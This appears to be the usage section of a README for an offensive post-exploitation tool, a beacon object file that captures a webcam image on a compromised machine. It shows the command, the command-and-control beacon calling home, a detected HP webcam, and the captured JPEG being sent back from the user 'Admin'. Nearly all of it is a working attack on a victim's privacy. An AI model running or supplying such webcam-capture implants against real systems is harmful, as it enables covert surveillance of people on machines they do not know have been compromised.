Example Usage
beacon> webcam_bof sad.jpeg 2
[*] Running Webcam BOF by (@codex_tf2)
[+] host called home, sent: 35817 bytes
[+] received output:

[*] Initializing webcam
[+] received output:

[*] Device 0: HP 320 FHD Webcam
[+] received output:

[*] Capturing image data
[+] received output:
[*] Downloading JPEG over beacon as a screenshot
[*] received screenshot of Webcam from Admin (328kb)